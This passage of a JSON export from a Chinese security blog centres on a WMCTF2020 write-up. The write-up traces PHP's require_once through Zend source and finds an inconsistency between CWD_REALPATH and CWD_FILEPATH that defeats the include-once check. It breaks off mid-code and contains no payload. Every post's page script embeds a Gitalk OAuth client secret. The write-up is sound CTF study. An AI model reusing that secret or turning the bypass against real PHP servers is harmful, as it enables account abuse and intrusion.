Agent()\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e入口点和上面函数调用的是一样的\u003c/p\u003e\u003cp\u003e分析没心情写了。。\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2020/08/21/Security/Writeup/fatfree%20POP/"},{"title":"PHP Lifecycle","time":"2020-08-13T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"PHP-生命周期\"\u003ePHP 生命周期\u003c/h2\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2020/08/14/Security/php-src/PHP-Lifecycle/"},{"title":"PHP函数、Opcode与注册表","time":"2020-08-13T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e\u003ca href=\"https://blog.frankli.site/2020/08/05/WMCTF2020-PHP-source-analysis/\"\u003e上一篇\u003c/a\u003e需要一些基础知识。本篇blog除介绍这些基础知识外还会进行一些扩展,说一说PHP的其它内部原理。\u003c/p\u003e\u003ch2 id=\"哈希表\"\u003e哈希表\u003c/h2\u003e\u003cp\u003ePHP在编写过程中大量使用了哈希表数据结构进行内部的处理。\u003cbr/\u003eDJBX33A\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2020/08/14/Security/php-src/PHP-Registry-Mechanism/"},{"title":"WMCTF2020 PHP source analysis","time":"2020-08-04T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eWMCTF 2020中\u003ca href=\"https://zhaoj.in\"\u003e赵师傅\u003c/a\u003e出了一道PHP源码审计 \u003ccode\u003eMake PHP Great Again\u003c/code\u003e。\u003cbr/\u003e比赛中没有做出来,非常遗憾。\u003c/p\u003e\u003cp\u003e作为一个赛后诸葛亮,趁着赵师傅还没发官方分析,在此水一篇博客分析分析题目\u003c/p\u003e\u003ch2 id=\"什么事require-once\"\u003e什么事require_once\u003c/h2\u003e\u003cp\u003eas always,先看\u003ca href=\"https://www.php.net/manual/en/function.require-once.php\"\u003e文档\u003c/a\u003e\u003cbr/\u003e\u003ccode\u003erequire_once\u003c/code\u003e在功能上与\u003ccode\u003erequire\u003c/code\u003e一致,只是对于任意文件都只会包含一次,而\u003ccode\u003erequire\u003c/code\u003e在正常情况下又与\u003ccode\u003einclude\u003c/code\u003e的功能一致。\u003cbr/\u003e又到了日常骂文档的时间:\u003ccode\u003erequire_once\u003c/code\u003e的文档告诉我们要到\u003ccode\u003einclude_once\u003c/code\u003e的文档中查看\u003ccode\u003e_once\u003c/code\u003e的行为(\u003ccode\u003eSee the include_once documentation for information about the _once behaviour\u003c/code\u003e),而\u003ccode\u003einclude_once\u003c/code\u003e又说了几句废话带过去了(\u003ccode\u003eAs the name suggests, the file will be included just once.\u003c/code\u003e)。8愧事PHP\u003c/p\u003e\u003ch2 id=\"源码分析\"\u003e源码分析\u003c/h2\u003e\u003ch3 id=\"Entry\"\u003eEntry\u003c/h3\u003e\u003cp\u003e很多人会误以为require/include系列是函数,然而文档都写得很清楚了它们实际上是\u003ccode\u003estatement\u003c/code\u003e,语句,所以它们并没有通过\u003ccode\u003ePHP_FUNCTION\u003c/code\u003e宏注册于PHP的函数注册表中。这样的\u003ccode\u003estatement\u003c/code\u003e总共只有五个,分别是\u003ccode\u003einclude[_once]\u003c/code\u003e、\u003ccode\u003erequire[_once]\u003c/code\u003e与\u003ccode\u003eeval\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e在\u003ccode\u003eZend/zend_vm_opcodes.h\u003c/code\u003e中我们可以找到,\u003ccode\u003erequire/include\u003c/code\u003e的opcode是73\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/opcode.png\" class=\"\" title=\"ZEND_INCLUDE_OR_EVAL\"/\u003e\u003cp\u003e而在\u003ccode\u003eZend/zend_vm_def\u003c/code\u003e中我们可以看到\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/handler.png\" class=\"\" title=\"ZEND_VM_HANDLER\"/\u003e\u003cp\u003e可以看到,这个handler的核心在于\u003ccode\u003ezend_include_or_eval\u003c/code\u003e,接下来我们就从这个函数开始进一步分析\u003c/p\u003e\u003ch3 id=\"zend-include-or-eval\"\u003ezend_include_or_eval\u003c/h3\u003e\u003cimg src=\"https://blog.frankli.site/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/resolve.png\" class=\"\" title=\"zend_resolve_path\"/\u003e\u003cp\u003e\u003ccode\u003ezend_resolve_path\u003c/code\u003e是php API的一部分,也就是说是动态赋值的。\u003cbr/\u003e很容易就会发现在\u003ccode\u003ezend_startup\u003c/code\u003e步骤中出现了\u003cbr/\u003e\u003ccode\u003ezend_resolve_path = utility_functions-\u0026gt;resolve_path_function;\u003c/code\u003e\u003cbr/\u003e这样的语句,交叉引用看到\u003ccode\u003emain.c\u003c/code\u003e中:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003ephp_module_startup\u003c/span\u003e\u003cspan class=\"params\"\u003e(sapi_module_struct *sf, zend_module_entry *additional_modules, \u003cspan class=\"keyword\"\u003euint32_t\u003c/span\u003e num_additional_modules)\u003c/span\u003e\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e zend_utility_functions zuf;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e zuf.resolve_path_function = php_resolve_path_for_zend;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ezend_startup\u003c/span\u003e(\u0026amp;zuf);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e最终找到\u0026#34;真正\u0026#34;的\u003ccode\u003ezend_resolve_path\u003c/code\u003e函数,然后再琢磨一会才能找到\u003ccode\u003etsrm_realpath_r\u003c/code\u003e,但是实际上这里正常的做法是动态调试。\u003cbr/\u003e在\u003ccode\u003ezend_include_or_eval\u003c/code\u003e中下断点,下在\u003ccode\u003ezend_resolve_path\u003c/code\u003e处,单步进入,会发现实际上走到了\u003ccode\u003ephar_find_in_include_path\u003c/code\u003e,原因是phar拓展拦截了\u003ccode\u003ezend_resolve_path\u003c/code\u003e函数(装饰器设计模式)。不过没关系,我们还是fallback到了\u003ccode\u003ephp_resolve_path_for_zend\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ePHP_MINIT_FUNCTION\u003c/span\u003e(phar)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eREGISTER_INI_ENTRIES\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e phar_orig_compile_file = zend_compile_file;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e zend_compile_file = phar_compile_file;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e phar_save_resolve_path = zend_resolve_path;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e zend_resolve_path = phar_resolve_path;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ephar_object_init\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ephar_intercept_functions_init\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ephar_save_orig_functions\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003ephp_register_url_stream_wrapper\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;phar\u0026#34;\u003c/span\u003e, \u0026amp;php_stream_phar_wrapper);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e跟啊跟,最终跟到\u003ccode\u003etsrm_realpath_r\u003c/code\u003e。但是\u003ccode\u003etsrm_realpath_r\u003c/code\u003e这么长不太想看怎么办?\u003cbr/\u003e别忘了我们是在动态调试。让我们先看看执行的效果如何\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/noexception.png\" class=\"\" title=\"what?\"/\u003e\u003cp\u003e\u003ccode\u003etsrm_realpath\u003c/code\u003e返回了NULL。看上去没问题,但是让我们回到\u003ccode\u003ezend_include_or_eval\u003c/code\u003e。按照开发者的逻辑,\u003ccode\u003etsrm_realpath\u003c/code\u003e返回NULL意味着出现了问题,理应抛出一个异常(在PHP中为\u003ccode\u003eexecute_globals.exception\u003c/code\u003e,即\u003ccode\u003eEG(exception)\u003c/code\u003e),然而纵观源码,此处并没有调用\u003ccode\u003ezend_throw_exception\u003c/code\u003e抛出异常。\u003c/p\u003e\u003cp\u003e所以我们直接走到了\u003ccode\u003ezend_stream_open\u003c/code\u003e。这时我们遇到了另一个PHP_API,参考\u003ccode\u003ezend_resolve_path\u003c/code\u003e,我们能够找到\u0026#34;真正的\u0026#34;\u003ccode\u003ezend_stream_open\u003c/code\u003e为\u003ccode\u003ephp_stream_open_for_zend\u003c/code\u003e。可以看到它对\u003ccode\u003ephp_stream_open_wrapper\u003c/code\u003e进行了包装,而\u003ccode\u003ewrapper\u003c/code\u003e又是一个指向\u003ccode\u003e_php_stream_open_wrapper_ex\u003c/code\u003e(main/streams/streams.c:2057)的宏\u003c/p\u003e\u003cp\u003e跟进来,仍然有对\u003ccode\u003ezend_resolve_path\u003c/code\u003e的调用\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/stream_open.png\" class=\"\" title=\"梅开二度\"/\u003e\u003cp\u003e梅开二度,仍然返回NULL,没抛Exception。我们跟到\u003ccode\u003emain/streams/plain_wrapper.c\u003c/code\u003e中看文件是如何打开的:\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/open_wrapper.png\" class=\"\"/\u003e\u003cp\u003e也就是说需要经过一次\u003ccode\u003eexpand_filepath\u003c/code\u003e\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003ePHPAPI \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *\u003cspan class=\"title\"\u003eexpand_filepath\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *filepath, \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *real_path)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003eexpand_filepath_ex\u003c/span\u003e(filepath, real_path, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003ePHPAPI \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *\u003cspan class=\"title\"\u003eexpand_filepath_ex\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *filepath, \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *real_path, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *relative_to, \u003cspan class=\"keyword\"\u003esize_t\u003c/span\u003e relative_to_len)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003eexpand_filepath_with_mode\u003c/span\u003e(filepath, real_path, relative_to, relative_to_len, CWD_FILEPATH);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003ePHPAPI \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *\u003cspan class=\"title\"\u003eexpand_filepath_with_mode\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *filepath, \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *real_path, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *relative_to, \u003cspan class=\"keyword\"\u003esize_t\u003c/span\u003e relative_to_len, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e realpath_mode)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003evirtual_file_ex\u003c/span\u003e(\u0026amp;new_state, filepath, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, realpath_mode)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eefree\u003c/span\u003e(new_state.cwd);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这里怎么也有个\u003ccode\u003evirtual_file_ex\u003c/code\u003e?我们继续走\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/expand_virtual.png\" class=\"\"/\u003e\u003cp\u003e竟然顺利通过了。所以我们可以得出一个小结论:是\u003ccode\u003evirtual_file_ex\u003c/code\u003e的不一致的表现导致了这个bug。\u003cbr/\u003e我们进一步来探讨一下这个不一致性是怎么产生的。\u003c/p\u003e\u003ch3 id=\"virtual-file-ex\"\u003evirtual_file_ex\u003c/h3\u003e\u003cp\u003e在上面的分析中,可以看到\u003ccode\u003etsrm_realpath\u003c/code\u003e与\u003ccode\u003eexpand_filepath\u003c/code\u003e在调用\u003ccode\u003evirtual_file_ex\u003c/code\u003e分别是这么传参的:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// tsrm_realpath\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (virtual_file_ex(\u0026amp;new_state, path, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, CWD_REALPATH)) {...}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// expand_filepath\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (virtual_file_ex(\u0026amp;new_state, path, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, CWD_FILEPATH)) {...}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这两个宏在源码里是这么解释的:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e CWD_FILEPATH 1 \u003cspan class=\"comment\"\u003e/* resolve symlinks if file is exist otherwise expand */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e CWD_REALPATH 2 \u003cspan class=\"comment\"\u003e/* call realpath(), resolve symlinks. File must exist */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e二者的区别在于REALPATH调用时必须\u003cstrong\u003e保证\u003c/strong\u003e文件存在,不然就会直接返回\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (save \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003ephp_sys_lstat\u003c/span\u003e(path, \u0026amp;st) \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (use_realpath == CWD_REALPATH) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* file not found */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (\u003cspan class=\"keyword\"\u003esize_t\u003c/span\u003e)\u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* continue resolution anyway but don\u0026#39;t save result in the cache */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e save = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"lstat\"\u003elstat\u003c/h3\u003e\u003cp\u003e等等,它是怎么判断文件是否存在的?\u003ccode\u003ephp_sys_lstat\u003c/code\u003e是什么?\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;sys/stat.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e php_sys_lstat 